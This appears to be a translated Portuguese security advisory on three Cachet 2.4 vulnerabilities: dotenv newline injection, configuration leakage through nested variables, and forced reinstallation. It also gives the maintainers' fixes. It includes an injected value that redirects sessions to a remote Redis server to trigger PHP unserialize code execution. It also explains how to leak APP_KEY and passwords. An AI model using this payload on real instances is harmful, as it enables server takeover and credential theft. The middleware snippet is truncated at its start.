Cachet 2.4: Execução de Código por Injeção de Configuração do Laravel

Não é realizada nenhuma validação nos dados recebidos: contanto que a entrada de configuração já exista, ela será substituída por um valor proveniente do parâmetro. Se um atacante fornecer um valor contendo novas linhas, isso criará novas entradas no arquivo dotenv e pode alterar funcionalidades no nível do framework.

Nota: apenas a primeira definição de uma variável em um arquivo dotenv será usada; as subsequentes serão ignoradas.

Em projetos Laravel, essa primitiva é suficiente para obter execução arbitrária de código. A configuração inicial do arquivo dotenv provavelmente se parecerá com isso em a maioria das instâncias:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Ataqueiros poderiam substituir a chave CACHE_DRIVER e registrar um servidor Redis sob seu controle como um novo backend de sessão:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Após enviar uma requisição que define CACHE_DRIVER para esse valor, o arquivo dotenv ficaria assim:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Como as sessões do Laravel são serializadas usando o formato nativo do PHP, elas são analisadas com a função unserialize(). Esse é um conhecido ponto fraco que pode ser explorado para a execução de código arbitrário usando uma sequência de objetos especialmente criados, um conceito chamado de “cadeias pop”. A ferramenta PHPGGC pode gerar tais cadeias para projetos Laravel. 

Podem existir outras maneiras de explorar a execução de comandos a partir de uma injeção de nova linha em um arquivo dotenv, mas não prosseguimos com mais pesquisas nessa direção. Minha equipe e eu estamos curiosos para saber se você está ciente de outras técnicas!

CVE-2021-39174: Vazamento de Configuração

Como descrevi na seção anterior, é possível ter controle direto de leitura e escrita sobre os valores armazenados no arquivo dotenv. Escrever neste arquivo acaba levando à execução de código arbitrário, mas também pode ser explorado pelo fato de que os valores deste arquivo são exibidos na interface?

A documentação de vlucas/phpdotenv descreve que suporta atribuição de variáveis aninhadas: ao declarar uma variável, você pode referenciar uma previamente declarada com a sintaxe ${NAME}.

Essa funcionalidade é conveniente: referenciando outra variável em uma entrada do arquivo de configuração dotenv e exibindo essa entrada na interface, revela o valor de outra variável. 

Já é amplamente documentado que vazar APP_KEY leva à execução de código se o driver de sessão estiver definido como cookie, e essa primitiva também pode ser usada para vazar DB_PASSWORD e MAIL_PASSWORD para realizar ataques adicionais.

CVE-2021-39173: Reinstalação Forçada

A página de configuração não pode ser acessada se a instância já estiver instalada, conforme implementado no middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // não configurado então!      
         }        
         
         return $next($request);   
  } 
}

O check é baseado exclusivamente no valor do parâmetro: se não estiver definido ou estiver vazio, o middleware considerará que a instância está instalada.

Caso esteja se perguntando o que mais pode ser avaliado como falso, aqui está um breve resumo sobre o sistema de tipos do PHP durante comparações até o PHP 8. As comparações podem ser feitas usando uma verificação de igualdade (==) ou uma verificação de identidade (===). As verificações de igualdade implicam que o tipo dos operandos não é considerado e as strings podem ser convertidas em números antes. Esse comportamento foi nomeado de “type juggling” e tem sido explorado em várias vulnerabilidades da vida real (CVE-2017-1001000, CVE-2019-10231). No caso da comparação acima, qualquer valor igual a uma string vazia ou “0” será avaliado como false e permitirá o acesso às páginas de configuração.

O valor de app_name não é validado durante a atualização das configurações em SettingsController@postSettings, em [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Portanto, um usuário autenticado pode atualizá-lo para um valor avaliado como falso e, em seguida, acessar/configurar novamente para reinstalar a instância com uma nova conta de administrador (elevação de privilégios) ou explorar nossa primeira descoberta e obter execução de código (lembre-se, UpdateConfigCommandHandler também pode ser explorado a partir deste caminho).

Correção

A vulnerabilidade de injeção de nova linha (CVE-2021-39172) foi abordada melhorando a validação dos valores recebidos em UpdateConfigCommandHandler, rejeitando qualquer modificação contendo caracteres de nova linha.

O bug de vazamento de configuração (CVE-2021-39174) foi mais complexo de ser corrigido, pois a versão mais recente da biblioteca dotenv não podia ser importada devido às dependências existentes. Em vez disso, o código relevante foi adaptado para permitir que o manipulador de comandos identifique se um valor contém uma variável aninhada.

Finalmente, não é possível forçar uma reinstalação de instâncias existentes (CVE-2021-39173) graças a verificações aprimoradas no middleware afetado.

Cronograma

Resumo

Neste artigo, analisei três vulnerabilidades no Cachet e demonstrei a capacidade de assumir instâncias com apenas permissões de usuário básicas usando arquivos de configuração do Laravel. Também descrevi as correções aplicadas pelos mantenedores e como elas impedem os ataques que apresentei.

Por fim, minha equipe e eu gostaríamos de agradecer aos mantenedores do fork FiveAI de Cachet por reconhecerem nosso aviso e por corrigirem essas vulnerabilidades de maneira oportuna e profissional.